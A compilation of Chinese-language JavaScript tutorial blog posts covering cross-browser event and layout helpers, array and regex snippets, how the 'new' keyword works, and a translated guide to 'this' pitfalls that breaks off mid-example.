function removeEvent(obj,type,fn){
    if(obj.removeEventListener){
        obj.removeEventListener(type,fn,false);
    }else if(obj.detachEvent){//兼容IE
        obj.detachEvent('on'+type,fn);
    }
}

跨浏览器阻止默认行为

 //跨浏览器阻止默认行为
    function preDef(ev){
        var e = ev || window.event;
        if(e.preventDefault){
            e.preventDefault();
        }else{
            e.returnValue =false;
        }
    }


跨浏览器获取目标对象

//跨浏览器获取目标对象
function getTarget(ev){
    if(ev.target){//w3c
        return ev.target;
    }else if(window.event.srcElement){//IE
        return window.event.srcElement;
    }
}   


跨浏览器获取滚动条位置

//跨浏览器获取滚动条位置，sp == scroll position
    function getSP(){
        return{
            top: document.documentElement.scrollTop || document.body.scrollTop,
            left : document.documentElement.scrollLeft || document.body.scrollLeft;
        }
    }

跨浏览器获取可视窗口大小

 //跨浏览器获取可视窗口大小
          function  getWindow () {
            if(typeof window.innerWidth !='undefined') {
                return{
                    width : window.innerWidth,
                    height : window.innerHeight
                }

            } else{
                return {
                    width : document.documentElement.clientWidth,
                    height : document.documentElement.clientHeight
                }
            }
        },


js 对象冒充

<script type = 'text/javascript'>
 
    function Person(name , age){
        this.name = name ;
        this.age = age ;
        this.say = function (){
            return "name : "+ this.name + " age: "+this.age ;
        } ;
    }
 
    var o = new Object() ;//可以简化为Object()
    Person.call(o , "zhangsan" , 20) ;
    console.log(o.say() );//name : zhangsan age: 20 
 
</script>



js 异步加载和同步加载

异步加载也叫非阻塞模式加载，浏览器在下载js的同时，同时还会执行后续的页面处理。
在script标签内，用js创建一个script元素并插入到document中，这种就是异步加载js文件了：

(function() {     
    var s = document.createElement('script');    
    s.type = 'text/javascript';     
    s.async = true;    
    s.src = 'http://yourdomain.com/script.js';    
    var x = document.getElementsByTagName('script')[0];    
     x.parentNode.insertBefore(s, x); 
})();


同步加载

　　平常默认用的都是同步加载。如：

<script src="http://yourdomain.com/script.js"></script>


　　同步模式又称阻塞模式，会阻止流览器的后续处理。停止了后续的文件的解析，执行，如图像的渲染。浏览器之所以会采用同步模式，是因为加载的js文件中有对dom的操作，重定向，输出document等默认行为，所以同步才是最安全的。
　　通常会把要加载的js放到body结束标签之前，使得js可在页面最后加载，尽量减少阻塞页面的渲染。这样可以先让页面显示出来。

　　同步加载流程是瀑布模型，异步加载流程是并发模型。

js获取屏幕坐标

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"/>
    <meta name="auther" content="fq" />
    <title>获取鼠标坐标</title>
</head>
<body>
<script type="text/javascript">
    function mousePosition(ev){
        if(ev.pageX || ev.pageY){
            return {x:ev.pageX, y:ev.pageY};
        }
        return {
            x:ev.clientX + document.body.scrollLeft - document.body.clientLeft,
            y:ev.clientY + document.body.scrollTop - document.body.clientTop
        };
    }
    function mouseMove(ev){
        ev = ev || window.event;
        var mousePos = mousePosition(ev);
        document.getElementById('xxx').value = mousePos.x;
        document.getElementById('yyy').value = mousePos.y;
    }
    document.onmousemove = mouseMove;
</script>
X:<input id="xxx" type="text" /> Y:<input id="yyy" type="text" />
</body>
</html>  



注释：
1.documentElement 属性可返回文档的根节点。    
2.scrollTop() 为滚动条向下移动的距离
3.document.documentElement.scrollTop 指的是滚动条的垂直坐标
4.document.documentElement.clientHeight 指的是浏览器可见区域高度



DTD已声明的情况下：

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


如果在页面中添加这行标记的话

IE

document.body.clientWidth ==> BODY对象宽度
document.body.clientHeight ==> BODY对象高度
document.documentElement.clientWidth ==> 可见区域宽度
document.documentElement.clientHeight ==> 可见区域高度


Firefox

document.documentElement.scrollHeight ==> 浏览器所有内容高度
document.body.scrollHeight ==> 浏览器所有内容高度
document.documentElement.scrollTop ==> 浏览器滚动部分高度
document.body.scrollTop ==>始终为0
document.documentElement.clientHeight ==>浏览器可视部分高度
document.body.clientHeight ==> 浏览器所有内容高度


Chrome

document.documentElement.scrollHeight ==> 浏览器所有内容高度
document.body.scrollHeight ==> 浏览器所有内容高度
document.documentElement.scrollTop==> 始终为0
document.body.scrollTop==>浏览器滚动部分高度
document.documentElement.clientHeight ==> 浏览器可视部分高度
document.body.clientHeight ==> 浏览器所有内容高度


浏览器所有内容高度即浏览器整个框架的高度，包括滚动条卷去部分+可视部分+底部隐藏部分的高度总和

浏览器滚动部分高度即滚动条卷去部分高度即可视顶端距离整个对象顶端的高度。

综上

1、document.documentElement.scrollTop和document.body.scrollTop始终有一个为0，所以可以用这两个的和来求scrollTop

2、scrollHeight、clientHeight 在DTD已声明的情况下用documentElement，未声明的情况下用body

clientHeight
 在IE和FF下，该属性没什么差别，都是指浏览器的可视区域，即除去浏览器的那些工具栏状态栏剩下的页面展示空间的高度。
 

PageX和clientX

PageX:鼠标在页面上的位置,从页面左上角开始,即是以页面为参考点,不随滑动条移动而变化

clientX:鼠标在页面上可视区域的位置,从浏览器可视区域左上角开始,即是以浏览器滑动条此刻的滑动到的位置为参考点,随滑动条移动 而变化.

可是悲剧的是,PageX只有FF特有,IE则没有这个，所以在IE下使用这个：

PageY=clientY+scrollTop-clientTop;(只讨论Y轴,X轴同理,下同)

scrollTop代表的是被浏览器滑动条滚过的长度

offsetX:IE特有,鼠标相比较于触发事件的元素的位置,以元素盒子模型的内容区域的左上角为参考点,如果有boder`,可能出现负值   

只有clientX和screenX 皆大欢喜是W3C标准.其他的,都纠结了.
最给力的是，chrome和safari一条龙通杀!完全支持所有属性  



js拖拽效果

<!doctype html>
<html lang="zn-CN">
<head>
    <meta http-equiv="Content-Type" content="text/html;charset=UTF-8" />
    <title></title>
    <style type="text/css">
        #login{
            height: 100px;
            width: 100px;
            border: 1px solid black;
            position: relative;
            top:200px;
            left: 200px;
            background: red;
        }
    </style>
</head>
<body>
<div id="login"></div>
<script type="text/javascript">
    var oDiv = document.getElementById("login");
    oDiv.onmousedown = function(e){
        var e = e || window.event;//window.event兼容IE,当事件发生时有效

        var diffX = e.clientX - oDiv.offsetLeft;//获取鼠标点击的位置到所选对象的边框的水平距离
        var diffY = e.clientY - oDiv.offsetTop;

        document.onmousemove = function(e){ //需设为document对象才能作用于整个文档
            var e = e||window.event;
            oDiv.style.left = e.clientX - diffX + 'px';//style.left表示所选对象的边框到浏览器左侧距离
            oDiv.style.top = e.clientY -diffY + 'px';
        };
        document.onmouseup = function(){
            document.onmousemove = null;//清除鼠标释放时的对象移动方法
            document.onmouseup = null;
        }
    }
</script>
</body> 
</html>

offsetTop 返回的是数字，而 style.top 返回的是字符串，除了数字外还带有单位：px。

js获取图片原始大小尺寸

var img = $("#img_id"); // Get my img elem
var pic_real_width, pic_real_height;
$("&lt;img/&gt;") // Make in memory copy of image to avoid css issues
    .attr("src", $(img).attr("src"))
    .load(function() {
        pic_real_width = this.width;   // Note: $(this).width() will not
        pic_real_height = this.height; // work for in memory images.
    });


js循环遍历数组

<script>  
       //循环遍历数组  
       var animals = ["cat",'dog','human','whale','seal'];  
       var animalString = "";  
       for(var i = 0;i<animals.length;i++){  
           animalString += animals[i] + " ";  
       }  
       alert(animalString);  //输出数组里的每个项
</script> 


遍历二维数组

  <script> 
        var arr=[[0,0,0,0,0,0],[0,0,1,0,0,0],[0,2,0,3,0,0],[0,0,0,0,0,0]]; 
        for(var i=0;i<arr.length;i++){ 
         //遍历每一个具体的值 
         for(var j=0;j<arr[i].length;j++){ 
                    document.writeln(arr[i][j]+" "); 
              } 
            document.writeln("<br/>"); 
         } 
  </script> 

阻止表单重复提交

有两种方法可以解决：一是提交之后，立刻禁用点击按钮；第二种就是提交之后取消后续的表单提交操作。

document.getElementById("btn").disabled = true;//第一次提交后，将按钮禁用


这种方式只能用于通过提交按钮防止重复提交，还可以使用如下方式：

var flag = false;//设置一个监听变量
if(flag ==true)return;//退出事件
flag = true;//表示提交过一次了


字符串部分

在字符串中查找子字符串

<script type="text/javascript">
    var test = 'Welcome to my blog!';
    var value = 'blog';
    var subValue = test.indexOf(value);
    console.log(subValue);//14,子字符串的索引
</script>


Number和Math部分

数字可以是一个直接量，也可以是一个对象，但是Math对象不同，他没有构造函数，并且其所有的属性和方法都是直接通过这个对象来访问的

把十进制转化为一个十六进制值

var num = 255;
console.log(num.toString(16));//ff


js中，十进制数字以0x开头，八进制数字总是以0开头

随进产生颜色

<script type="text/javascript">
    function randomVal(val){
        return Math.floor(Math.random()*(val + 1));
    }
    
    function randomColor(){
        return 'rgb(' + randomVal(255) + ',' + randomVal(255) + ',' + randomVal(255) + ')';
    }
</script>


目前，所有浏览器都支持RGB表示法和十六进制表示法，除了IE7，它只支持十六进制表示法

在角度和弧度之间转换

var rad = degrees*(Math.PI/180);

var degrees = rad*(180/Math.PI);


数组部分

创建多维数组

<script type="text/javascript">
    var arrayLength = 3;//设置数组长度
    
    //创建数组
    var multiArray = new Array(arrayLength);
    for(var i =0;i<multiArray.length;i++){
        multiArray[i] = new Array(arrayLength);
    }
    
    //给第一个数组索引添加项
    multiArray[0][0] = 'phone';
    multiArray[0][1] = 'book';
    multiArray[0][2] = 'TV';
    
    //第二个
    multiArray[1][0] = 2;
    multiArray[1][1] = 1;
    multiArray[1][2] = 98;
    
    //第三个
    multiArray[2][0] = ['java','python'];
    multiArray[2][1] = ['js','C++'];
    multiArray[2][2] = ['Haskell','php'];
</script>


排序数组

<script type="text/javascript">
     var fruits = ['banana','apple','orange','strawberry'];
    console.log(fruits.sort());//Array [ "apple", "banana", "orange", "strawberry" ]

    var num = [32,43,2,5,-23,0,4];
    console.log(num.sort());//Array [ -23, 0, 2, 32, 4, 43, 5 ]
</script>


Array对象的sort方法会按照字母顺序来排序数组元素。对于数字，是按照字符编码的顺序进行排序

function compare(a,b){
    return a-b;
}
var num = [32,43,2,5,-23,0,4];
console.log(num.sort(compare));//Array [ -23, 0, 2, 4, 5, 32, 43 ] 


Date日期时间部分

js计算时间差



var date1=new Date();  //开始时间，当前时间

var date2=new Date(); //结束时间，需传入时间参数
var date3=date2.getTime()-date1.getTime();  //时间差的毫秒数

//计算出相差天数
var days=Math.floor(date3/(24*3600*1000));

//计算出小时数
var leave1=date3%(24*3600*1000);    //计算天数后剩余的毫秒数
var hours=Math.floor(leave1/(3600*1000));
//计算相差分钟数
var leave2=leave1%(3600*1000);        //计算小时数后剩余的毫秒数
var minutes=Math.floor(leave2/(60*1000));


//计算相差秒数
var leave3=leave2%(60*1000);      //计算分钟数后剩余的毫秒数
var seconds=Math.round(leave3/1000);
    
console.log(" 相差 "+days+"天 "+hours+"小时 "+minutes+" 分钟"+seconds+" 秒");


正则部分

js实现千分位分隔

<script type="text/javascript">
    function cc(s){
        if(/[^0-9\.]/.test(s)) return "invalid value";
        s=s.replace(/^(\d*)$/,"$1.");
        s=(s+"00").replace(/(\d*\.\d\d)\d*/,"$1");
        s=s.replace(".",",");
        var re=/(\d)(\d{3},)/;
        while(re.test(s))
            s=s.replace(re,"$1,$2");
        s=s.replace(/,(\d\d)$/,".$1");
        return "￥" + s.replace(/^\./,"0.")
    }
</script>
<input onchange="this.value=cc(this.value)" />



js判断传入参数是否为质数

function fn(input) {
  input = parseInt(input,10);
  return isPrime(input) ? 'is prime' : 'not prime';
}

function isPrime(input) {
  if (input < 2) {
    return false;
  } else {
    for (var i = 2; i <= Math.sqrt(input); i++) {
      if (input % i == 0) {
        return false;
      }
    }
  }
  return true;
}


js判断字符串出现最多的字符，并统计次数

//js实现一个函数，来判断一个字符串出现次数最多的字符，并统计这个次数

    function countStr(str){
        var obj = {};
        for(var i = 0, l = str.length,k; i < l ;i++){
            k = str.charAt(i);
            if(obj[k]){
                obj[k]++;
            }else{
                obj[k] = 1;
            }
        }
        var m = 0,i=null;
        for(var k in obj){
            if(obj[k] > m){
                m = obj[k];
                i = k;
            }
        }
        return i + ':' + m;
    }


博主近来穷的吃土了，如果看完本文的内容后觉得对你有所帮助，想博主更新的勤一点，你不扫一下吗（留言你想学的前端技术，博主有空了就更新呦）
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 你真的弄明白 new 了吗

作者：lwl

来源： 你真的弄明白 new 了吗



                    
好久没有写点东西了，总觉得自己应该写点牛逼的，却又不知道如何下笔。既然如此，还是回归最基本的吧，今天就来说一说这个new。关于javascript的new关键字的内容上网搜一搜还真不少，大家都说new干了3件事：



	创建一个空对象

	将空对象的__proto__指向构造函数的prototype


	使用空对象作为上下文调用构造函数



文字比较难懂，翻译成javascript：


javascriptfunction Base() {
    this.str = "aa";
}

// new Base()干了下面的事
var obj  = {};
obj.__proto__ = Base.prototype;
Base.call(obj);



想想是这么回事哈，那就赶快试试：


javascriptvar b = new Base();
console.dir(b); // Base {str: 'aa', __proto__: Base}



好像是正确的，但是真的正确吗？？？


真的就3件事？


每个对象都有一个constructor属性，那么我们来试试看new出来的实例的constructor是什么吧。


javascriptconsole.dir(b.constructor); // [Function: Base]



可以看出实例b的constructor属性就是Base，那么我们可以猜测new是不是至少还做了第4件事：


javascriptb.constructor = Base;



以上结果看似正确，下面我们进行一点修改，这里我们修改掉原型的constructor属性：


javascriptBase.prototype.constructor = function Other(){ };
var b = new Base();
console.dir(b.constructor); // [Function: Other]



情况就不一样了，可以看出，之前的猜测是错误的，第4件事应该是这样的：


javascriptb.constructor = Base.prototype.constructor;



这里犯了一个错误，那就是没有理解好这个constructor的实质：当我们创建一个函数时，会自动生成对应的原型，这个原型包含一个constructor属性，使用new构造的实例，可以通过原型链查找到constructor。如下图所示：





这里非常感谢zonxin同学指出我的错误。


如果构造函数有返回值呢？


一般情况下构造函数没有返回值，但是我们依旧可以得到该对象的实例；如果构造函数有返回值，凭直觉来说情况应该会不一样。我们对于之前的构造函数进行一点点修改：


javascriptfunction Base() {
    this.str = "aa";
    return 1;
    // return "a";
    // return true;
}
var b = new Base();
console.dir(b); // { str: 'aa'}



我们在构造函数里设置的返回值好像没什么用，返回的还是原来对象的实例，换一些例子试试：


javascriptfunction Base() {
    this.str = "aa";
    return [1];
    // return {a:1};
}
var b = new Base();
console.dir(b); // [1] or {a: 1}



此时结果就不一样了，从上面的例子可以看出，如果构造函数返回的是原始值，那么这个返回值会被忽略，如果返回的是对象，就会覆盖构造的实例。


new至少做了4件事


总结一下，new至少做了4件事：


javascript// new Base();

// 1.创建一个空对象 obj
var obj = {};
// 2.设置obj的__proto__为原型
obj.__proto__ = Base.prototype;
// 3.使用obj作为上下文调用Base函数
var ret = Base.call(obj);
// 4.如果构造函数返回的是原始值，那么这个返回值会被忽略，如果返回的是对象，就会覆盖构造的实例
if(typeof ret == 'object'){
    return ret;
} else {
    return obj;
}



new的不足


在《Javascript语言精粹》（Javascript: The Good Parts）中，道格拉斯认为应该避免使用new关键字：



  If you forget to include the new prefix when calling a constructor function, then this will not be bound to the new object. Sadly, this will be bound to the global object, so instead of augmenting your new object, you will be clobbering global variables. That is really bad. There is no compile warning, and there is no runtime warning.




大意是说在应该使用new的时候如果忘了new关键字，会引发一些问题。最重要的问题就是影响了原型查找，原型查找是沿着__proto__进行的，而任何函数都是Function的实例，一旦没用使用new，你就会发现什么属性都查找不到了，因为相当于直接短路了。如下面例子所示，没有使用new来创建对象的话，就无法找到原型上的fa1属性了：


javascriptfunction F(){ }
F.prototype.fa1 = "fa1";

console.log(F.fa1);       // undefined
console.log(new F().fa1); // fa1



这里我配合一张图来说明其中原理，黄色的线为原型链，使用new构造的对象可以正常查找到属性fa1，没有使用new则完全走向了另外一条查找路径：





以上的问题对于有继承的情况表现得更为明显，沿着原型链的方法和属性全都找不到，你能使用的只有短路之后的Function.prototype的属性和方法了。


当然了，遗忘使用任何关键字都会引起一系列的问题。再退一步说，这个问题是完全可以避免的：


javascriptfunction foo()
{   
   // 如果忘了使用关键字，这一步骤会悄悄帮你修复这个问题
   if ( !(this instanceof foo) )
      return new foo();

   // 构造函数的逻辑继续……
}



可以看出new并不是一个很好的实践，道格拉斯将这个问题描述为：



  This indirection was intended to make the language seem more familiar to classically trained programmers, but failed to do that, as we can see from the very low opinion Java programmers have of JavaScript. JavaScript’s constructor pattern did not appeal to the classical crowd. It also obscured JavaScript’s true prototypal nature. As a result, there are very few programmers who know how to use the language effectively.




简单来说，JavaScript是一种prototypical类型语言，在创建之初，是为了迎合市场的需要，让人们觉得它和Java是类似的，才引入了new关键字。Javascript本应通过它的Prototypical特性来实现实例化和继承，但new关键字让它变得不伦不类。


再说一点关于constructor的


虽然使用new创建新对象的时候用讨论了这个constructor属性，但是这个属性似乎并没有什么用，也许设置这个属性就是一种习惯，能够让其他人直观理解对象之间的关系。


欢迎光临小弟博客：Superlin's Blog

我的博客原文：你真的弄明白new了吗
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 JavaScript中的this陷阱的最全收集--没有之一

作者：yuanzm

来源： JavaScript中的this陷阱的最全收集--没有之一



                    
当有人问起你JavaScript有什么特点的时候，你可能立马就想到了单线程、事件驱动、面向对象等一堆词语，但是如果真的让你解释一下这些概念，可能真解释不清楚。有句话这么说：如果你不能向一个6岁小孩解释清楚一个东西，那么你自己也不懂这个东西。这句话或许有点夸张，但是极其有道理。个人觉得，如果需要掌握一门语言，掌握它的API只是学了皮毛，理解这门语言的精髓才是重点。提及JavaScript的精髓，this、闭包、作用域链、函数是当之无愧的。这门语言正式因为这几个东西而变得魅力无穷。


　　博客的标题是《JavaScript中的this陷阱的最全收集--没有之一》，很显然这篇博客阐述的是this。相信做过JavaScript开发的人都遇到过不少this的陷阱，我自己本身也遇到过不少坑，但是如果非要给出一个系统的总结的话，还没有足够的底蕴。非常幸运的是，今天早上起来看《Hacker News》的时候，恰巧看到了一篇有关于JavaScript this的解析：all this。于是，本着学习和共享的精神，决定将它翻译成中文。翻译的目的绝对不是为了当大自然的搬运工，在这个过程中会完全弄明白别人的著作，加深认识，同时将好东西分享给别人，才能让更多的学习者站在巨人的肩膀上前进。按照我自己的习惯，会翻译的过程中加上一些自己解释(引用部分)，毕竟中西方人的思考方式是有差异的。当然文章标题所述的最全也不是吹的，文章非常长。


原文翻译:


　　JavaScript来自一门健全的语言，所以你可能觉得JavaScript中的this和其他面向对象的语言如java的this一样，是指存储在实例属性中的值。事实并非如此，在JavaScript中，最好把this当成哈利波特中的博格特的背包，有着深不可测的魔力。


　　下面的部分是我希望我的同事在使用JavaScript的this的时候应当知道的。内容很多，是我学习好几年总结出来的。



  　　JavaScript中很多时候会用到this，下面详细介绍每一种情况。在这里我想首先介绍一下宿主环境这个概念。一门语言在运行的时候，需要一个环境，叫做宿主环境。对于JavaScript，宿主环境最常见的是web浏览器，浏览器提供了一个JavaScript运行的环境，这个环境里面，需要提供一些接口，好让JavaScript引擎能够和宿主环境对接。JavaScript引擎才是真正执行JavaScript代码的地方，常见的引擎有V8(目前最快JavaScript引擎、Google生产)、JavaScript core。JavaScript引擎主要做了下面几件事情：





  
	一套与宿主环境相联系的规则;

  	JavaScript引擎内核（基本语法规范、逻辑、命令和算法);

  	一组内置对象和API;

  	其他约定。 

  





  但是环境不是唯一的，也就是JavaScript不仅仅能够在浏览器里面跑，也能在其他提供了宿主环境的程序里面跑，最常见的就是nodejs。同样作为一个宿主环境，nodejs也有自己的JavaScript引擎--V8。根据官方的定义:

   Node.js is a platform built on Chrome’s JavaScript runtime for easily building fast, scalable network applications




global this



	在浏览器里，在全局范围内，this等价于window对象。



1 <script type="text/javascript">
2     console.log(this === window); //true
3 </script>




	在浏览器里，在全局范围内，用var声明一个变量和给this或者window添加属性是等价的。



1 <script type="text/javascript">
2     var foo = "bar";
3     console.log(this.foo); //logs "bar"
4     console.log(window.foo); //logs "bar"
5 </script>




	如果你在声明一个变量的时候没有使用var或者let(ECMAScript 6),你就是在给全局的this添加或者改变属性值。



 1 <script type="text/javascript">
 2     foo = "bar";
 3 
 4     function testThis() {
 5       foo = "foo";
 6     }
 7 
 8     console.log(this.foo); //logs "bar"
 9     testThis();
10     console.log(this.foo); //logs "foo"
11 </script>




	在node环境里，如果使用REPL(Read-Eval-Print Loop，简称REPL:读取-求值-输出,是一个简单的，交互式的编程环境)来执行程序,this并不是最高级的命名空间，最高级的是global.



> this
{ ArrayBuffer: [Function: ArrayBuffer],
  Int8Array: { [Function: Int8Array] BYTES_PER_ELEMENT: 1 },
  Uint8Array: { [Function: Uint8Array] BYTES_PER_ELEMENT: 1 },
  ...
> global === this
true




	在node环境里，如果执行一个js脚本，在全局范围内，this以一个空对象开始作为最高级的命名空间，这个时候，它和global不是等价的。



 1 test.js脚本内容：
 2 
 3 console.log(this);
 4 console.log(this === global);
 5 
 6 REPL运行脚本：
 7 
 8 $ node test.js
 9 {}
10 false




	在node环境里，在全局范围内，如果你用REPL执行一个脚本文件，用var声明一个变量并不会和在浏览器里面一样将这个变量添加给this。



1 test.js:
2 
3 var foo = "bar";
4 console.log(this.foo);
5 
6 $ node test.js
7 undefined




	但是如果你不是用REPL执行脚本文件，而是直接执行代码，结果和在浏览器里面是一样的(神坑)



1 > var foo = "bar";
2 > this.foo
3 bar
4 > global.foo
5 bar




	在node环境里，用REPL运行脚本文件的时候，如果在声明变量的时候没有使用var或者let，这个变量会自动添加到global对象，但是不会自动添加给this对象。如果是直接执行代码，则会同时添加给global和this



1 test.js
2 
3 foo = "bar";
4 console.log(this.foo);
5 console.log(global.foo);
6 
7 $ node test.js
8 undefined
9 bar




  上面的八种情况可能大家已经绕晕了，总结起来就是：在浏览器里面this是老大，它等价于window对象，如果你声明一些全局变量(不管在任何地方)，这些变量都会作为this的属性。在node里面，有两种执行JavaScript代码的方式，一种是直接执行写好的JavaScript文件，另外一种是直接在里面执行一行行代码。对于直接运行一行行JavaScript代码的方式，global才是老大，this和它是等价的。在这种情况下，和浏览器比较相似，也就是声明一些全局变量会自动添加给老大global，顺带也会添加给this。但是在node里面直接脚本文件就不一样了，你声明的全局变量不会自动添加到this，但是会添加到global对象。所以相同点是，在全局范围内，全局变量终究是属于老大的。




function this



	无论是在浏览器环境还是node环境， 除了在DOM事件处理程序里或者给出了thisArg(接下来会讲到)外，如果不是用new调用，在函数里面使用this都是指代全局范围的this。



 1 <script type="text/javascript">
 2     foo = "bar";
 3 
 4     function testThis() {
 5       this.foo = "foo";
 6     }
 7 
 8     console.log(this.foo); //logs "bar"
 9     testThis();
10     console.log(this.foo); //logs "foo"
11 </script>



test.js

foo = "bar";

function testThis () {
  this.foo = "foo";
}

console.log(global.foo);
testThis();
console.log(global.foo);
$ node test.js
bar
foo




	除非你使用严格模式，这时候this就会变成undefined。



 1 <script type="text/javascript">
 2     foo = "bar";
 3 
 4     function testThis() {
 5       "use strict";
 6       this.foo = "foo";
 7     }
 8 
 9     console.log(this.foo); //logs "bar"
10     testThis();  //Uncaught TypeError: Cannot set property 'foo' of undefined 
11 </script>




	如果你在调用函数的时候在前面使用了new，this就会变成一个新的值，和global的this脱离干系。



 1 <script type="text/javascript">
 2     foo = "bar";
 3 
 4     function testThis() {
 5       this.foo = "foo";
 6     }
 7 
 8     console.log(this.foo); //logs "bar"
 9     new testThis();
10     console.log(this.foo); //logs "bar"
11 
12     console.log(new testThis().foo); //logs "foo"
13 </script>



我更喜欢把新的值称作一个实例。



  函数里面的this其实相对比较好理解，如果我们在一个函数里面使用this，需要注意的就是我们调用函数的方式，如果是正常的方式调用函数，this指代全局的this，如果我们加一个new，这个函数就变成了一个构造函数，我们就创建了一个实例，this指代这个实例，这个和其他面向对象的语言很像。另外，写JavaScript很常做的一件事就是绑定事件处理程序，也就是诸如button.addEventListener(‘click’, fn, false)之类的，如果在fn里面需要使用this，this指代事件处理程序对应的对象，也就是button。




prototype this



	你创建的每一个函数都是函数对象。它们会自动获得一个特殊的属性prototype，你可以给这个属性赋值。当你用new的方式调用一个函数的时候，你就能通过this访问你给prototype赋的值了。



1 function Thing() {
2       console.log(this.foo);
3 }
4 
5 Thing.prototype.foo = "bar";
6 
7 var thing = new Thing(); //logs "bar"
8 console.log(thing.foo);  //logs "bar"




	当你使用new为你的函数创建多个实例的时候，这些实例会共享你给prototype设定的值。对于下面的例子，当你调用this.foo的时候，都会返回相同的值，除非你在某个实例里面重写了自己的this.foo



复制代码


 1 function Thing() {
 2 }
 3 Thing.prototype.foo = "bar";
 4 Thing.prototype.logFoo = function () {
 5     console.log(this.foo);
 6 }
 7 Thing.prototype.setFoo = function (newFoo) {
 8     this.foo = newFoo;
 9 }
10 
11 var thing1 = new Thing();
12 var thing2 = new Thing();
13 
14 thing1.logFoo(); //logs "bar"
15 thing2.logFoo(); //logs "bar"
16 
17 thing1.setFoo("foo");
18 thing1.logFoo(); //logs "foo";
19 thing2.logFoo(); //logs "bar";
20 
21 thing2.foo = "foobar";
22 thing1.logFoo(); //logs "foo";
23 thing2.logFoo(); //logs "foobar";




	实例里面的this是一个特殊的对象。你可以把this想成一种获取prototype的值的一种方式。当你在一个实例里面直接给this添加属性的时候，会隐藏prototype中与之同名的属性。如果你想访问prototype中的这个属性值而不是你自己设定的属性值，你可以通过在实例里面删除你自己添加的属性的方式来实现。



 1 function Thing() {
 2 }
 3 Thing.prototype.foo = "bar";
 4 Thing.prototype.logFoo = function () {
 5     console.log(this.foo);
 6 }
 7 Thing.prototype.setFoo = function (newFoo) {
 8     this.foo = newFoo;
 9 }
10 Thing.prototype.deleteFoo = function () {
11     delete this.foo;
12 }
13 var thing = new Thing();
14 thing.setFoo("foo");
15 thing.logFoo(); //logs "foo";
16 thing.deleteFoo();
17 thing.logFoo(); //logs "bar";
18 thing.foo = "foobar";
19 thing.logFoo(); //logs "foobar";
20 delete thing.foo;
21 thing.logFoo(); //logs "bar";




	或者你也能直接通过引用函数对象的prototype 来获得你需要的值。



 1 function Thing() {
 2 }
 3 Thing.prototype.foo = "bar";
 4 Thing.prototype.logFoo = function () {
 5     console.log(this.foo, Thing.prototype.foo);
 6 }
 7 
 8 var thing = new Thing();
 9 thing.foo = "foo";
10 thing.logFoo(); //logs "foo bar";




	通过一个函数创建的实例会共享这个函数的prototype属性的值，如果你给这个函数的prototype赋值一个Array，那么所有的实例都会共享这个Array，除非你在实例里面重写了这个Array，这种情况下，函数的prototype的Array就会被隐藏掉。



1 function Thing() {
2 }
3 Thing.prototype.things = [];
4 
5 
6 var thing1 = new Thing();
7 var thing2 = new Thing();
8 thing1.things.push("foo");
9 console.log(thing2.things); //logs ["foo"]




	给一个函数的prototype赋值一个Array通常是一个错误的做法。如果你想每一个实例有他们专属的Array，你应该在函数里面创建而不是在prototype里面创建。



 1 function Thing() {
 2     this.things = [];
 3 }
 4 
 5 
 6 var thing1 = new Thing();
 7 var thing2 = new Thing();
 8 thing1.things.push("foo");
 9 console.log(thing1.things); //logs ["foo"]
10 console.log(thing2.things); //logs []




	实际上你可以通过把多个函数的prototype链接起来的从而形成一个原型链，因此this就会魔法般地沿着这条原型链往上查找直到找你你需要引用的值。



 1 function Thing1() {
 2 }
 3 Thing1.prototype.foo = "bar";
 4 
 5 function Thing2() {
 6 }
 7 Thing2.prototype = new Thing1();
 8 
 9 
10 var thing = new Thing2();
11 console.log(thing.foo); //logs "bar"




	一些人利用原型链的特性来在JavaScript模仿经典的面向对象的继承方式。任何给用于构建原型链的函数的this的赋值的语句都会隐藏原型链上游的相同的属性。



 1 function Thing1() {
 2 }
 3 Thing1.prototype.foo = "bar";
 4 
 5 function Thing2() {
 6     this.foo = "foo";
 7 }
 8 Thing2.prototype = new Thing1();
 9 
10 function Thing3() {
11 }
12 Thing3.prototype = new Thing2();
13 
14 
15 var thing = new Thing3();
16 console.log(thing.foo); //logs "foo"




	我喜欢把被赋值给prototype的函数叫做方法。在上面的例子中，我已经使用过方法了，如logFoo。这些方法有着相同的prototype，即创建这些实力的原始函数。我通常把这些原始函数叫做构造函数。在prototype里面定义的方法里面使用this会影响到当前实例的原型链的上游的this。这意味着你直接给this赋值的时候，隐藏了原型链上游的相同的属性值。这个实例的任何方法都会使用这个最新的值而不是原型里面定义的这个相同的值。



 1 function Thing1() {
 2 }
 3 Thing1.prototype.foo = "bar";
 4 Thing1.prototype.logFoo = function () {
 5     console.log(this.foo);
 6 }
 7 
 8 function Thing2() {
 9     this.foo = "foo";
10 }
11 Thing2.prototype = new Thing1();
12 
13 
14 var thing = new Thing2();
15 thing.logFoo(); //logs "foo";




	在JavaScript里面你可以嵌套函数，也就是你可以在函数里面定义函数。嵌套函数可以通过闭包捕获父函数的变量，但是这个函数没有继承this



 1 function Thing() {
 2 }
 3 Thing.prototype.foo = "bar";
 4 Thing.prototype.logFoo = function () {
 5     var info = "attempting to log this.foo:";
 6     function doIt() {
 7         console.log(info, this.foo);
 8     }
 9     doIt();
10 }
11 
12 
13 var thing = new Thing();
14 thing.logFoo();  //logs "attempting to log this.foo: undefined"



　　  在doIt里面的this是global对象或者在严格模式下面是undefined。这是造成很多不熟悉JavaScript的人深陷    this陷阱的根源。在这种情况下事情变得非常糟糕，就像你把一个实例的方法当作一个值，把这个值当作函数参数传递给另外一个函数但是却不把这个实例传递给这个函数一样。在这种情况下，一个方法里面的环境变成了全局范围，或者在严格模式下面的undefined。


 1 function Thing() {
 2 }
 3 Thing.prototype.foo = "bar";
 4 Thing.prototype.logFoo = function () {  
 5     console.log(this.foo);   
 6 }
 7 
 8 function doIt(method) {
 9     method();
10 }
11 
12 
13 var thing = new Thing();
14 thing.logFoo(); //logs "bar"
15 doIt(thing.logFoo); //logs undefined




	一些人喜欢先把this捕获到一个变量里面，通常这个变量叫做self，来避免上面这种情况的发生。




  博主非常喜欢用这种方式




 1 function Thing() {
 2 }
 3 Thing.prototype.foo = "bar";
 4 Thing.prototype.logFoo = function () {
 5     var self = this;
 6     var info = "attempting to log this.foo:";
 7     function doIt() {
 8         console.log(info, self.foo);
 9     }
10     doIt();
11 }
12 
13 
